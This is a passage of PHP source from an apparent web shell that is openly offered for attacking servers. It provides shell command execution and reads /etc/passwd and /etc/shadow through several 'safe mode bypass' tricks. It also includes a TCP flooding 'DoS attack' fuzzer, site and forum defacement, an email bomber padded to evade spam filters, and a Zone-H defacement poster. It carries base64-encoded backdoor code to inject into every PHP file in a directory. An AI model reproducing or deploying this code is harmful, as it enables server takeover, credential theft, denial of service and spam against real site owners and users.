	if(isset($_GET[\'ip\']) && isset($_GET[\'port\']) && isset($_GET[\'timeout\']) && isset($_GET[\'exTime\']) && isset($_GET[\'no0fBytes\']) && isset($_GET[\'multiplier\']) && $_GET[\'no0fBytes\'] != "" && $_GET[\'exTime\'] != "" && $_GET[\'timeout\'] != "" && $_GET[\'port\'] != "" && $_GET[\'ip\'] != "" && $_GET[\'multiplier\'] != "")
    {
        $IP=$_GET[\'ip\'];
        $port=$_GET[\'port\'];
        $times = $_GET[\'exTime\'];
		$timeout = $_GET[\'timeout\'];
		$send = 0;
        $ending = "";
        $multiplier = $_GET[\'multiplier\'];
        $data = "";
        $mode="tcp";
        $data .= "GET /";
        $ending .= " HTTP/1.1




";
        if($_GET[\'type\'] == "tcp")
        {
            $mode = "tcp";
        }
	
        while($multiplier--)

        {
            $data .= urlencode($_GET[\'no0fBytes\']);
        }
        $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
        $data .= "by-Dhanush".$ending;
        $length = strlen($data);
        
        
       echo "Sending Data :- <br /> <p align=\'center\'>$data</p>";
        
       for($i=0;$i<$times;$i++)
	{
            $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
            if($socket)
            {
                fwrite($socket , $data , $length );
                fclose($socket);
            }
        }
        echo "Fuzzing Completed!<br>";
        echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
        echo "Total Number of Packets Sent : " . $times . "<br />";
        echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />"; 
        echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
    }
}
else if(isset($_GET[\'bypassit\']))
{
	echo "<BR>";
	if(isset($_GET[\'copy\']))
	{
		if(@copy($_GET[\'copy\'],"test1.php")) 
		{
			$fh=fopen("test1.php",\'r\');
			echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea>";
			@fclose($fh);
			unlink("test1.php");
		} 
	}
	else if(isset($_GET[\'filecontents\']))
	{
		echo "<textarea cols=100 rows=20 class=box readonly>";
		echo file_get_contents($_GET[\'filecontents\']);
		echo "</textarea>";
	}
	else if(isset($_GET[\'stream\']))
	{
		echo "<textarea cols=100 rows=20 class=box readonly>";
		$file=$_GET[\'stream\'];
		if ($stream = fopen($file, \'r\')) {
	        echo stream_get_contents($stream, -1, 0);
		    fclose($stream);
		}
		
		echo "</textarea>";
	}
	else if(isset($_GET[\'curl\']))
	{
		$ch=curl_init("file://" . $_GET[curl]);
		curl_setopt($ch,CURLOPT_HEADERS,0);
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
		$file_out=curl_exec($ch);
		curl_close($ch);
		echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea>";
	}
	else if(isset($_GET[\'include\']))
	{
		if(file_exists($_GET[\'include\']))
		{
			echo "<textarea cols=100 rows=20 class=box readonly>";
			@include($_GET[\'include\']);
			echo "</textarea>";
		}
		else
			echo "<br><center><font  size=3>Can\'t Read" . $_GET[\'include\'] . "</font></center>";
	}
	else if(isset($_GET[\'id\']))
	{
		echo "<textarea cols=100 rows=20 class=box readonly>";
		for($uid=0;$uid<60000;$uid++)
		{
			$ara = posix_getpwuid($uid);
			if (!empty($ara)) 
			{
				while (list ($key, $val) = each($ara))
				{
					print "$val:";
				}
				print "
";
			}
		}
		echo "</textarea>";
	}
	else if(isset($_GET[\'tempnam\']))
	{
		echo "<textarea cols=100 rows=20 class=box readonly>";
		$mytmp = tempnam ( \'tmp\', $_GET[\'tempnam\'] );
		$fp = fopen ( $mytmp, \'r\' );
		while(!feof($fp))
			echo fgets($fp);
		fclose ( $fp );
		echo "</textarea>";
	}
	else if(isset($_GET[\'symlnk\']))
	{
		echo "<textarea cols=100 rows=20 class=box readonly>";
		@mkdir("mydhanush",0777);
		@chdir("mydhanush");
		execmd("ln -s /etc/passwd");
		
		echo file_get_contents($curr_url . "/mydhanush/passwd");
		echo "</textarea>";
	}
	if(isset($_GET[\'newtype\']))
	{
		$filename = $_GET[\'newtype\'];
		echo "<textarea cols=100 rows=20 class=box readonly>";
		if($_GET[\'optiontype\'] == "xxd")
			echo execmd("xxd ".$filename);
		else if($_GET[\'optiontype\'] == "rev")
			echo execmd("rev ".$filename);
		if($_GET[\'optiontype\'] == "tac")
			echo execmd("tac ".$filename);
		if($_GET[\'optiontype\'] == "more")
			echo execmd("more ".$filename);
		if($_GET[\'optiontype\'] == "less")
			echo execmd("less ".$filename);
		if($_GET[\'optiontype\'] == "awk")
			echo execmd("awk \'{ print }\' ".$filename);
		echo "</textarea>";
	}
	echo \'<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 2px;" /><BR><BR><BR>\';
}
// Deface Website
else if(isset($_GET[\'deface\']))
{
	$myfile = fopen($_GET[\'deface\'],\'w\');
	if(fwrite($myfile, base64_decode($ind)))
	{fclose($myfile);
	echo "Index Defaced Successfully";}
	else
		echo "Donot have write permission";
}
else if(isset($_GET[\'perms\']))
{
?><br>
    <form>
	<input type="hidden" name="myfilename" value="<?php echo $_GET[\'myfilepath\']; ?>">
        <table align="center" border="1" style="width:40%;border-color:#333333;border-collapse:collapse;">
            <tr>
                <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td> 
            </tr>
			<tr>
				<td colspan="2" align="center" style="height:60px">
					<input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" />
					<input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
				</td>
			</tr>
        </table>
		
	</form>   
    <?php
}
else if(isset($_GET["chmode"]))
{
	if($_GET[\'chmode\'] != null && is_numeric($_GET[\'chmode\']))
	{
		echo \'<br>\';
		$perms = 0; 
        for($i=strlen($_GET[\'chmode\'])-1;$i>=0;--$i) 
            $perms += (int)$_GET[\'chmode\'][$i]*pow(8, (strlen($_GET[\'chmode\'])-$i-1)); 
		if(@chmod($_GET[\'myfilename\'],$perms))
			echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
		else
			echo "<center><blink>Cannot Change File Permissions</blink></center>";
		echo \'<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  /><BR><BR>\';
	}
}
else if(isset($_GET[\'rename\']))
{
?><BR>
    <form>
	   <table border="0" cellpadding="7" cellspacing="3">
            <tr>
                <td>File </td><td><input value="<?php echo $_GET[\'myfilepath\'];?>" name="file" class="box" /></td>
            </tr>
            <tr>
                <td>To </td><td><input value="<?php echo $_GET[\'myfilepath\'];?>" name="to" class="box" /></td> 
            </tr>
			<tr>
				<td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
				<input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
			</td>
			</tr>
        </table>
	</form>   
    <?php
  
}
else if(isset($_GET[\'renamemyfile\']))
{
	if(isset($_GET[\'to\']) && isset($_GET[\'file\']))
	{
		echo \'<br>\';
		if(!rename($_GET[\'file\'], $_GET[\'to\']))
		 	echo "Cannot Rename File";
		else
			echo "<font class=txt>File Renamed Successfully</font>";
		echo \'<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  /><BR><BR>\';
	}
}
else if(isset($_GET[\'open\']))
{
	if(is_file($_GET[\'myfilepath\']))
	{
		$owner = "0/0";
		if($os == "Linux")
			$owner = getOGid($_GET[\'myfilepath\']);
		?>
			<form>
			<table style="width:57%;">
				<tr align="left">
					<td align="left">File : </td><td><font class=txt><?php echo $_GET[\'myfilepath\'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo addslashes($_GET[\'myfilepath\']); ?>\')"><?php echo filepermscolor($_GET[\'myfilepath\']);?></a></td>
				</tr>
				<tr>
					<td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET[\'myfilepath\']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td> 
				</tr>
			</table>
			<textarea name="content" rows="15" cols="100" class="box"><?php
			$content = htmlspecialchars(file_get_contents($_GET[\'myfilepath\']));
			if($content)
			{
				echo $content;
			}
			else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
			{
				if(filesize($_GET[\'myfilepath\']) != 0 )
				{
					fopen($_GET[\'myfilepath\']);
					while(!feof())
					{
						echo htmlspecialchars(fgets($_GET[\'myfilepath\']));
					}
				}
			}
	
			?>
			</textarea><br />
			<input name="save" type="button" onClick="savemyfile(\'<?php echo addslashes($_GET[\'myfilepath\']); ?>\',content.value)" value="Save Changes" id="spacing" class="but"/> 
			<input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
			</form>
    <?php
	}
	else
		echo \'<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>\';
}
else if(isset($_POST[\'file\']) && isset($_POST[\'content\']))
{
    echo \'<BR>\';
	if(file_exists($_POST[\'file\']))
    {
        $handle = fopen($_POST[\'file\'],"w");
        if(fwrite($handle,$_POST[\'content\']))
        	echo "<font class=txt>File Saved Successfully!</font>";
		else
			echo "Cannot Write into File";
    }
    else
    {
        echo "File Name Specified does not exists!";
    }
	echo \'<BR><input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>\';
}
else if(isset($_POST["SendNowToZoneH"]))
{
	$hacker = $_POST[\'defacer\'];
	$method = $_POST[\'hackmode\'];
	$neden = $_POST[\'reason\'];
	$site = $_POST[\'domain\'];
	
	if (empty($hacker))
	{
		die("<center><font  size=3>[-] You Must Fill the Attacker name !</font></center>");
	}
	elseif($method == "--------SELECT--------") 
	{
		die("<center><font  size=3>[-] You Must Select The Method !</center>");
	}
	elseif($neden == "--------SELECT--------") 
	{
		die("<center><font  size=3>[-] You Must Select The Reason</center>");
	}
	elseif(empty($site)) 
	{
		die("<center><font  size=3>[-] You Must Inter the Sites List !</center>");
	}
	// Zone-h Poster
	function ZoneH($url, $hacker, $hackmode,$reson, $site )
	{
		$k = curl_init();
		curl_setopt($k, CURLOPT_URL, $url);
		curl_setopt($k,CURLOPT_POST,true);
		curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
		curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
		$kubra = curl_exec($k);
		curl_close($k);
		return $kubra;
	}
	
	$i = 0;
    $sites = explode("
", $site);
    echo "<pre class=ml1 style=\'margin-top:5px\'>";
	while($i < count($sites)) 
	{
		if(substr($sites[$i], 0, 4) != "http") 
		{
				$sites[$i] = "http://".$sites[$i];
		}
		ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
		echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
		++$i;
	}
		 
	echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
}
else if(isset($_GET[\'executemycmd\']))
{
	$comm = $_GET[\'executemycmd\'];
	chdir($_GET[\'executepath\']);
	echo shell_exec($comm);
}
// View Passwd file
else if(isset($_GET[\'passwd\']))
{
	$test=\'\';
    	$tempp= tempnam($test, "cx");
	$get = "/etc/passwd";
	$name=@posix_getpwuid(@fileowner($get)); 
	$group=@posix_getgrgid(@filegroup($get)); 
	$owner = $name[\'name\']. " / ". $group[\'name\']; 
	?>
	<table style="width:57%;">
            <tr>
                <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
            </tr>
            <tr>
                <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td> 
            </tr>
        </table>
	<?php
	if(copy("compress.zlib://".$get, $tempp))
	{
		$fopenzo = fopen($tempp, "r");
		$freadz = fread($fopenzo, filesize($tempp));
		fclose($fopenzo);
		$source = htmlspecialchars($freadz);
		echo "<tr><td><center><textarea rows=\'20\' cols=\'80\' class=box name=\'source\'>$source</textarea><br>";
		unlink($tempp);
    	} 
	else 
	{
   	?>
		<form>
			<input type="hidden" name="etcpasswd">
			<table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
			<tr>
				<td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
			</tr>
			<tr>
				<td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
			</tr>
			<tr>
				<td colspan="2" align="center"><input type="submit" value="  Go  " class="but"></td>
			</tr>
			</table><br>
		</form>
		<?php 
	}
	?>
	<br />
	<input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>
	<?php
}
else if(isset($_GET[\'shadow\']))
{
	$test=\'\';
    	$tempp= tempnam($test, "cx");
	$get = "/etc/shadow";
	if(copy("compress.zlib://".$get, $tempp))
	{
		$fopenzo = fopen($tempp, "r");
		$freadz = fread($fopenzo, filesize($tempp));
		fclose($fopenzo);
		$source = htmlspecialchars($freadz);
		echo "<tr><td><center><font size=\'3\' face=\'Verdana\'>$get</font><br><textarea rows=\'20\' cols=\'80\' class=box name=\'source\'>$source</textarea>";
		unlink($tempp);
    	} 
}
else if(isset($_GET[\'bomb\']))
{
	?><div id="showmail"></div>
	<form>
	<table id="margins" style="width:100%;">
		<tr>
			<td style="width:30%;">To</td>
			<td>
				<input class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
			</td>
		</tr>
		<tr>

			<td style="width:30%;">Subject</td>
			<td>
				<input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == \'Dhanush Here!\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'Dhanush Here!\';" />
			</td>
		</tr>
		 <tr>
			<td style="width:30%;">No. of Times</td>
			<td>
				<input class="box" name="times" value="100" onFocus="if(this.value == \'100\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'100\';"/>
			</td>
		</tr>
		<tr>
			<td style="width:30%;">Pad your message (Less spam detection)</td>
			<td><input type="checkbox" name="padding"/></td>
		</tr>
		<tr>
			<td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
		</tr>
		<tr>
			<td rowspan="2">
				<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail(\'dobombing\',to.value,subject.value,message.value,\'null\',times.value,padding.value)" class="but" value="    Bomb!  "/>
			</td>
		</tr>
	</table>            
	</form>
	<?php
}

//Mass Mailer
else if(isset($_GET[\'mail\']))
{
        ?><div id="showmail"></div>
		<div align="left">
        <form>
           <table align="left" style="width:100%;">
                <tr>
                    <td style="width:10%;">From</td>
                    <td style="width:80%;" align="left"><input name="from" class="box" value="[email protected]" onFocus="if(this.value == \'[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected]\';"/></td>
                </tr>
                
                <tr>
                    <td style="width:20%;">To</td>
                    <td style="width:80%;"><input class="box" class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/></td>
                </tr>
                
                <tr>
                    <td style="width:20%;">Subject</td>
                    <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == \'Dhanush Here!!\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'Dhanush Here!!\';" /></td>
                </tr>
                
                
                <tr>
                    <td colspan="2">
                        <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!! Patch your site.....</textarea>
                    </td>
                </tr>
                
                
                <tr>
                    <td rowspan="2">
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail(\'massmailing\',to.value,subject.value,message.value,from.value)" class="but" value="   Send! "/>
                    </td>
                </tr>
            </table>            
        </form></div>   
        <?php
}
// Get Domains
else if(isset($_REQUEST["symlinkserver"]))
{
	?>
	<center><table><tr>
	<td><a href=javascript:void(0) onClick="getdata(\'perlsymlink\')"><font class=txt><b>| Perl Symlink |</b></font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'symlink\')"><font class=txt><b>| Symlink Server |</b></font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'symlinkfile\')"><font class=txt><b>| Symlink File |</b></font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'script\')"><font class=txt><b>| Script Locator |</b></font></a></td>
	</tr></table></center><br>
	<div id="showdata"></div><?php
}
// Forum Manager
else if(isset($_REQUEST["forum"]))
{ ?>
	<center><table><tr><td><a href=# onClick="getdata(\'defaceforum\')"><font class=txt size="4">| Forum Defacer |</font></a></td>
	<td><a href=# onClick="getdata(\'passwordchange\')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
	<td><a href=# onClick="getdata(\'massdeface\')"><font class=txt size="4">| Mass Defacer |</font></a></td>
	</tr></table></center><br><div id="showdata"></div>
	<?php 
}
// Sec info
else if(isset($_GET[\'secinfo\']))
{ ?><div id=showdata></div>
<center><div id="showmydata"></div>
</center>
<br><center><font size=5>Server security information</font><br><br></center>
	<table class="btmtbl" style="width:100%;" border="1">
	<tr>
		<td style="width:7%;">Curl</td>
		<td style="width:7%;">Oracle</td>
		<td style="width:7%;">MySQL</td>
		<td style="width:7%;">MSSQL</td>
		<td style="width:7%;">PostgreSQL</td>
		<td style="width:12%;">Open Base Directory</td>
		<td style="width:10%;">Safe_Exec_Dir</td>
		<td style="width:7%;">PHP Version</td>
		<td style="width:7%;">Magic Quotes</td> 
		<td style="width:7%;">Server Admin</td> 
	</tr>
	<tr>
		<td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
		<td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
		<td style="width:10%;"><font class="txt"><?php if(@function_exists(\'ini_get\')) { if (\'\'==($df=@ini_get(\'safe_mode_exec_dir\'))) {echo "<font >NONE</font></b>";}else {echo "<font class=\'txt\'>$df</font></b>";};} ?></font></td>
		<td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
		<td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
	</tr>
</table><br> <?php
	mysecinfo();
}
// Code Injector

else if(isset($_GET[\'injector\']))
{
    if($os != "Windows")
		$injectcode = "PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+";
	else
	{
		$injectcode = "PD9waHAgJHBhc3N3cmQgPSA8PDxFT0QKNjJhYTZhOWE1ZGEwMDAxNDI4MGZlODU2YzI3MzhiMDYKRU9EOwokZGhwYXNzd2QgPSA8PDxFT0QKZGhwYXNzd2QKRU9EOwokdXBsb2FkZWQgPSA8PDxFT0QKdXBsb2FkZWQKRU9EOwokbmFtZSA9IDw8PEVPRApuYW1lCkVPRDsKJHRtcF9uYW1lID0gPDw8RU9ECnRtcF9uYW1lCkVPRDsKaWYgKGlzc2V0ICgkX0dFVFskZGhwYXNzd2RdKSBhbmQgbWQ1KCRfR0VUWyRkaHBhc3N3ZF0pPT0kcGFzc3dyZCkKez8+PGZvcm0gZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhIG1ldGhvZD1QT1NUIGFjdGlvbj0+dXBsb2FkOiA8aW5wdXQgbmFtZT11cGxvYWRlZCB0eXBlPWZpbGUgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPgo8P3BocCAKaWYoaXNzZXQoJF9GSUxFU1skdXBsb2FkZWRdWyRuYW1lXSkpCnsKJHVwbG9hZGVkID0gPDw8RU9ECnVwbG9hZGVkCkVPRDsKJHRhcmdldF9wYXRoID0gPDw8RU9ECi4vCkVPRDsKJHRhcmdldF9wYXRoID0gJHRhcmdldF9wYXRoIC4gYmFzZW5hbWUoICRfRklMRVNbJHVwbG9hZGVkXVskbmFtZV0pOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1skdXBsb2FkZWRdWyR0bXBfbmFtZV0sICR0YXJnZXRfcGF0aCkpIHtlY2hvICR1cGxvYWRlZDt9fX0KPz4=";
	}
	?>
	<form method=\'POST\'>
        <table id="margins">
        <tr>
            <td width="100" class="title">
                        Directory
                    </td>
                    <td>
                         <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
                    </td>
					
                </tr>
                <tr>
                <td class="title">
                    Mode
                </td>
                <td>
                        <select style="width: 400px;" name="mode" class="box">
                            <option value="Apender">Apender</option>
                            <option value="Overwriter">Overwriter</option>
                        </select>
                </td>
                </tr>
                <tr>
                    <td class="title">
                        File Type
                    </td>
                    <td>
                        <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value==\'\')this.value=\'php\';" />
                    </td>
                </tr>
                <tr>
			<td>Create A backdoor by injecting this code in every php file of current directory</td>
		</tr>
                
                <tr>
                    <td colspan="2"><?php if($os == "Windows"){echo "<i>Default Password is : <b>Dhanush</b> (change to yours using MD5)</i> Example : .php?dhpasswd=Dhanush";}else{if(!function_exists(\'system\')){echo "system() function disabled";}} ?><BR>
                        <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode($injectcode); ?></textarea>
                    </td>
                </tr>
                <tr>
                    <td rowspan="2">
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
                    </td>
                </tr>
        </form>
        </table><div id="showinject"</div>
		<?php
}
// Bypass
else if(isset($_GET["bypass"]))
{
	?><center><div id="showmydata"></div></center>
	<table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;border-collapse:collapse;">
		<tr>
			<td align="center" colspan="2"><font size="3">Safe mode bypass</font></td>
		</tr>
		<tr>
			<td align="center">
				<p>Using copy() function</p>
				<form onSubmit="bypassfun(\'copy\',copy.value);return false;">
				<input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'copy\',copy.value)" value="bypass" class="but">
						</form>
					</td>
					<td align="center">
						<p>Using File contents function</p>
						<form onSubmit="bypassfun(\'filecontents\',filecontents.value);return false;">
						<input type="text" name="filecontents" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'filecontents\',filecontents.value)" value="bypass" class="but">
						</form>
					</td>
				</tr>
						
				<tr>
					<td align="center">
						<p>Using Stream contents function</p>
						<form onSubmit="bypassfun(\'stream\',stream.value);return false;">
						<input type="text" name="stream" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'stream\',stream.value)" value="bypass" class="but">
						</form>
					</td>
					<td align="center">
						<p>Using Curl() function</p>
						<form onSubmit="bypassfun(\'curl\',curl.value);return false;">
						<input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'curl\',curl.value)" value="bypass" class="but">
						</form>
					</td>
				</tr>
						
				<tr>
					<td align="center">
						<p>Bypass using include()</p>
						<form onSubmit="bypassfun(\'include\',include.value);return false;">
						<input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'include\',include.value)" value="bypass" class="but">
						</form>
					</td>
					<td align="center">
						<p>Using id() function</p>
						<form onSubmit="bypassfun(\'id\',id.value);return false;">
						<input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'id\',id.value)" value="bypass" class="but">
						</form>
					</td>
				</tr>
							
				<tr>
					<td align="center">
						<p>Using tempnam() function</p>
						<form onSubmit="bypassfun(\'tempnam\',tempname.value);return false;">
						<input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'tempnam\',tempname.value)" value="bypass" class="but">
						</form>
					</td>
					<td align="center">
						<p>Using symlink() function</p>
						<form onSubmit="bypassfun(\'symlnk\',sym.value);return false;">
						<input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun(\'symlnk\',sym.value)" value="bypass" class="but">
					</form>
					</td>
				</tr>
				<tr>
					<td colspan=2 align="center">
						<p>Using Bypass function</p>
						<form onSubmit="bypassfun(\'newtype\',newtype.value,optiontype.value);return false;">
						<input type="text" name="newtype" value="/etc/passwd" class="sbox"> 
						<select id="optiontype" class=sbox>
						<option value="tac">tac</option>
						<option value="more">more</option>
						<option value="less">less</option>
						<option value="rev">rev</option>
						<option value="xxd">xxd</option>
						<option value="awk">awk</option>
						</select>
						<input type="button" OnClick="bypassfun(\'newtype\',newtype.value,optiontype.value)" value="bypass" class="but">
						</form>
					</td>

				</tr>
		</table>
	</form>
	<?php
}
//fuzzer
else if(isset($_GET[\'fuzz\']))
{
    ?>
        <form method="GET">
           <table id="margins">
                <tr>
                    <td width="400" class="title">
                        IP
                    </td>
                    <td>
                        <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
                    </td>
                </tr>
                
                <tr>
                    <td class="title">
                        Port
                    </td>
                    <td>
                        <input class="box" name="port" value="80" onFocus="if(this.value == \'80\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'80\';"/>
                    </td>
                </tr>
                
                <tr>
                    <td class="title">
                        Timeout
                    </td>
                    <td>
                        <input type="text" class="box" name="time" value="5" onFocus="if(this.value == \'5\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'5\';"/>
                    </td>
                </tr>
                
                
                <tr>
                    <td class="title">
                        No of times
                    </td>
                    <td>
                        <input type="text" class="box" name="times" value="100" onFocus="if(this.value == \'100\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'100\';" />
                    </td>
                </tr>
                
                <tr>
                    <td class="title">
                        Message (The message Should be long and it will be multiplied with the value after it)
                    </td>
                    <td>
                        <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/>
                    </td>
                    <td>
                        x
                    </td>
                    <td width="20">
                        <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
                    </td>
                </tr>
                
                <tr>
                    <td rowspan="2">
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos(\'fuzzer\',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value="  Submit  "/>
                    </td>
                </tr>
            </table>            
        </form><div id="showdos"></div>
        <?php
}
// Zone-h Poster
	else if(isset($_GET["zone"]))
	{  
		if(!function_exists(\'curl_version\'))
		{
			echo "<pre style=\'margin-top:5px\'><center><font >PHP CURL NOT EXIST</font></center></pre>";
		}
		?>
		<center><font size="4">Zone-h Poster</font></center>
		<form action="<?php echo $self; ?>" method="post">
		<table align="center" cellpadding="5" border="0">
		<tr>
		<td>
		<input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
		<tr><td>
		<select name="hackmode" class="box">
			<option >--------SELECT--------</option>
			<option value="1">known vulnerability (i.e. unpatched system)</option>
			<option value="2" >undisclosed (new) vulnerability</option>
			<option value="3" >configuration / admin. mistake</option>
			<option value="4" >brute force attack</option>
			<option value="5" >social engineering</option>
			<option value="6" >Web Server intrusion</option>
			<option value="7" >Web Server external module intrusion</option>
			<option value="8" >Mail Server intrusion</option>
			<option value="9" >FTP Server intrusion</option>
			<option value="10" >SSH Server intrusion</option>
			<option value="11" >Telnet Server intrusion</option>
			<option value="12" >RPC Server intrusion</option>
			<option value="13" >Shares misconfiguration</option>
			<option value="14" >Other Server intrusion</option>
			<option value="15" >SQL Injection</option>
			<option value="16" >URL Poisoning</option>
			<option value="17" >File Inclusion</option>
			<option value="18" >Other Web Application bug</option>
			<option value="19" >Remote administrative panel access bruteforcing</option>
			<option value="20" >Remote administrative panel access password guessing</option>
			<option value="21" >Remote administrative panel access social engineering</option>
			<option value="22" >Attack against administrator(password stealing/sniffing)</option>
			<option value="23" >Access credentials through Man In the Middle attack</option>
			<option value="24" >Remote service password guessing</option>
			<option value="25" >Remote service password bruteforce</option>
			<option value="26" >Rerouting after attacking the Firewall</option>
			<option value="27" >Rerouting after attacking the Router</option>
			<option value="28" >DNS attack through social engineering</option>
			<option value="29" >DNS attack through cache poisoning</option>
			<option value="30" >Not available</option>
		</select>
		</td></tr>
		<tr><td>
		<select name="reason" class="box">
			<option >--------SELECT--------</option>
			<option value="1" >Heh...just for fun!</option>
			<option value="2" >Revenge against that website</option>
			<option value="3" >Political reasons</option>
			<option value="4" >As a challenge</option>
			<option value="5" >I just want to be the best defacer</option>
			<option value="6" >Patriotism</option>
			<option value="7" >Not available</option>
		</select></td></tr>
		<tr><td>
		<textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
		<tr><td>
		<input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
		</form><div id="showzone"></div>
	<?php }
//DDos
